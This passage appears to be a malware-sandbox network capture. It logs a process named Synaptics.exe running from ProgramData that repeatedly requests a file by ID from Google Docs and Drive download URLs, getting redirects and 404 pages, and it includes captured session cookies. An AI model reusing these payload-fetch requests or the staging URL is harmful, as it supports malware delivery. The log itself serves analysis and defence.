2025-01-02 19:29:48 UTC	147	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (No
2025-01-02 19:29:48 UTC	1390	IN	Data Raw: 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 6a 32 50 57 6f 63 63 46 45 39 50 57 51 68 56 59 4e 44 46 53 44 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 Data Ascii: t Found)!!1</title><style nonce="j2PWoccFE9PWQhVYNDFSDg">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding
2025-01-02 19:29:48 UTC	115	IN	Data Raw: 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: >Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.9	49912	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:47 UTC	143	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache
2025-01-02 19:29:48 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:47 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-9ahqteiRoqA_ctTpaWHDuA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.9	49913	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:47 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:48 UTC	1242	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC6s4gOR73lQMY2UndEO6c0xQrqXONE8Lc_0F69l_x-_MO_Wc5iRYxGwA9J1pm7Of8g Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:48 GMT Content-Security-Policy: script-src 'report-sample' 'nonce-Hx8qXg4mYyKF8vjSsz-mFA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:48 UTC	148	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 34 30 34 20 28 4e 6f 74 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error 404 (Not
2025-01-02 19:29:48 UTC	1390	IN	Data Raw: 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 38 43 4f 35 47 32 56 43 6f 31 7a 72 78 4d 6f 74 73 36 38 7a 69 67 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b 70 61 64 64 69 6e 67 3a Data Ascii: Found)!!1</title><style nonce="8CO5G2VCo1zrxMots68zig">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;padding:
2025-01-02 19:29:48 UTC	114	IN	Data Raw: 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.9	49924	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:48 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=fZA4XEw0IB_O5e5GvvE9ZL61MourSYCLW4n49L-tpYAs5QVL2SSuT-IW2CHvtVC8u_TXQ1NbfC_ymJASow0-5yD5bbl6-5JQobNf0fu6uVZpzjI7nVzUFdgFbVkSalmF1R3Z-YOyhca31ozlkhMmLyLjXTBKKLzeFdtKepte_Mdbpcgn9RZeNQRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.9	49926	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:48 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.9	49930	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:48 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.9	49927	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:49 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=fZA4XEw0IB_O5e5GvvE9ZL61MourSYCLW4n49L-tpYAs5QVL2SSuT-IW2CHvtVC8u_TXQ1NbfC_ymJASow0-5yD5bbl6-5JQobNf0fu6uVZpzjI7nVzUFdgFbVkSalmF1R3Z-YOyhca31ozlkhMmLyLjXTBKKLzeFdtKepte_Mdbpcgn9RZeNQRm

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.9	49932	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:49 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:49 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-PNl0-X5NhqfwAD6o_FRCkw' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
41	192.168.2.9	49931	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:49 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=fZA4XEw0IB_O5e5GvvE9ZL61MourSYCLW4n49L-tpYAs5QVL2SSuT-IW2CHvtVC8u_TXQ1NbfC_ymJASow0-5yD5bbl6-5JQobNf0fu6uVZpzjI7nVzUFdgFbVkSalmF1R3Z-YOyhca31ozlkhMmLyLjXTBKKLzeFdtKepte_Mdbpcgn9RZeNQRm
2025-01-02 19:29:50 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-AjSM1MeC6UXIQTXA4hqTzQ' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
42	192.168.2.9	49946	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:50 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:50 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: script-src 'report-sample' 'nonce-9fk6tUkkPDy2VB2d3TKsNA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Cross-Origin-Opener-Policy: same-origin Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.9	49947	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:50 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:51 UTC	1250	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC4q_i4R9iAPd08uD7c-QZdb6UPJ_76hEqZvuyPyUYc9CmgPSxcxVoF8fp-0jocGfYsodmDvzJM Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:51 GMT Cross-Origin-Opener-Policy: same-origin Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-G1EYSmQaVnCZ7We_xeb5tg' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Content-Length: 1652 Server: UploadServer Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Content-Security-Policy: sandbox allow-scripts Connection: close
2025-01-02 19:29:51 UTC	140	IN	Data Raw: 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 20 64 69 72 3d 6c 74 72 3e 3c 6d 65 74 61 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 76 69 65 77 70 6f 72 74 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2c 20 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 22 3e 3c 74 69 74 6c 65 3e 45 72 72 6f 72 20 Data Ascii: <html lang="en" dir=ltr><meta charset=utf-8><meta name=viewport content="initial-scale=1, minimum-scale=1, width=device-width"><title>Error
2025-01-02 19:29:51 UTC	1390	IN	Data Raw: 34 30 34 20 28 4e 6f 74 20 46 6f 75 6e 64 29 21 21 31 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 6e 6f 6e 63 65 3d 22 74 39 39 50 6f 64 5f 53 64 57 6e 76 72 77 6d 4c 4c 63 66 34 64 77 22 3e 2a 7b 6d 61 72 67 69 6e 3a 30 3b 70 61 64 64 69 6e 67 3a 30 7d 68 74 6d 6c 2c 63 6f 64 65 7b 66 6f 6e 74 3a 31 35 70 78 2f 32 32 70 78 20 61 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 7d 68 74 6d 6c 7b 62 61 63 6b 67 72 6f 75 6e 64 3a 23 66 66 66 3b 63 6f 6c 6f 72 3a 23 32 32 32 3b 70 61 64 64 69 6e 67 3a 31 35 70 78 7d 62 6f 64 79 7b 63 6f 6c 6f 72 3a 23 32 32 32 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 75 6e 73 65 74 3b 6d 61 72 67 69 6e 3a 37 25 20 61 75 74 6f 20 30 3b 6d 61 78 2d 77 69 64 74 68 3a 33 39 30 70 78 3b 6d 69 6e 2d 68 65 69 67 68 74 3a 31 38 30 70 78 3b Data Ascii: 404 (Not Found)!!1</title><style nonce="t99Pod_SdWnvrwmLLcf4dw">*{margin:0;padding:0}html,code{font:15px/22px arial,sans-serif}html{background:#fff;color:#222;padding:15px}body{color:#222;text-align:unset;margin:7% auto 0;max-width:390px;min-height:180px;
2025-01-02 19:29:51 UTC	122	IN	Data Raw: 62 3e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6e 20 65 72 72 6f 72 2e 3c 2f 69 6e 73 3e 3c 70 3e 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 77 61 73 20 6e 6f 74 20 66 6f 75 6e 64 20 6f 6e 20 74 68 69 73 20 73 65 72 76 65 72 2e 20 3c 69 6e 73 3e 54 68 61 74 e2 80 99 73 20 61 6c 6c 20 77 65 20 6b 6e 6f 77 2e 3c 2f 69 6e 73 3e 3c 2f 6d 61 69 6e 3e Data Ascii: b> <ins>Thats an error.</ins><p>The requested URL was not found on this server. <ins>Thats all we know.</ins></main>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.9	49949	172.217.18.14	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:50 UTC	345	OUT	GET /uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Host: docs.google.com Cache-Control: no-cache Cookie: NID=520=YEndgGdZr8HdDID1Vij3o43G0uyZAjGGe75mH81jI0SidRmzMFA61fI8c-2mKRwlZjHee06yoNi2xLr2zeDivgMDa4OM57x0Ftt78Uy8abbKfqNAJMVQaFMthPAL-r46LQxgk8QW_qAVWyDJ7EAv62cj5dyZTVEi6VKrsS9i99dIafXw8VQXYox1
2025-01-02 19:29:51 UTC	1314	IN	HTTP/1.1 303 See Other Content-Type: application/binary Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:51 GMT Location: https://drive.usercontent.google.com/download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download Strict-Transport-Security: max-age=31536000 Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Content-Security-Policy: script-src 'report-sample' 'nonce-5dZa9ELcsP5jqlt9MUT3ZA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, ch-ua-platform-version=* Accept-CH: Sec-CH-UA-Arch, Sec-CH-UA-Bitness, Sec-CH-UA-Full-Version, Sec-CH-UA-Full-Version-List, Sec-CH-UA-Model, Sec-CH-UA-WoW64, Sec-CH-UA-Form-Factors, Sec-CH-UA-Platform, Sec-CH-UA-Platform-Version Server: ESF Content-Length: 0 X-XSS-Protection: 0 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
45	192.168.2.9	49948	216.58.206.65	443	7712	C:\ProgramData\Synaptics\Synaptics.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-02 19:29:50 UTC	388	OUT	GET /download?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download HTTP/1.1 User-Agent: Synaptics.exe Cache-Control: no-cache Host: drive.usercontent.google.com Connection: Keep-Alive Cookie: NID=520=noTK5C1N_8pMK2EAbDe9sYDQK0OhW8V4dVWlitjsrxccIBuMq836MtfyVMJ2hgZwpUBNKKh-JMOmXyhEu-Ds0HadWasjMMUHXVpDaNmHmfatkHKy8YeSNNMl2ka5wONCDDT6nDqRZqvMDdpWqG3Q4NfxAOEqL9KZJtXbiCD6fcAsyFjRpzbFZ0cs
2025-01-02 19:29:51 UTC	1243	IN	HTTP/1.1 404 Not Found X-GUploader-UploadID: AFiumC45BK2ZiVCOJTylNCxCU5AqHYXXxu4ssPFjnSNcUIAWSMkmAh3wtStSCJ3paGj3WVVE Content-Type: text/html; charset=utf-8 Cache-Control: no-cache, no-store, max-age=0, must-revalidate Pragma: no-cache Expires: Mon, 01 Jan 1990 00:00:00 GMT Date: Thu, 02 Jan 2025 19:29:51 GMT Cross-Origin-Opener-Policy: same-origin Content-Security-Policy: script-src 'report-sample' 'nonce-ZbGoI6AkfDWf08z7tsCxsA' 'unsafe-inline';object-src 'none';base-uri 'self';report-uri /_/DriveUntrustedContentHttp/cspreport;worker-src 'self' Content-Security-Policy: require-trusted-types-for 'script';report-uri /_/DriveUntrustedContentHttp/cspreport Permissions-Policy: ch-ua-arch=, ch-ua-bitness=, ch-ua-full-version=, ch-ua-full-version-list=, ch-ua-model=, ch-ua-wow64=, ch-ua-form-factors=, ch-ua-platform=, 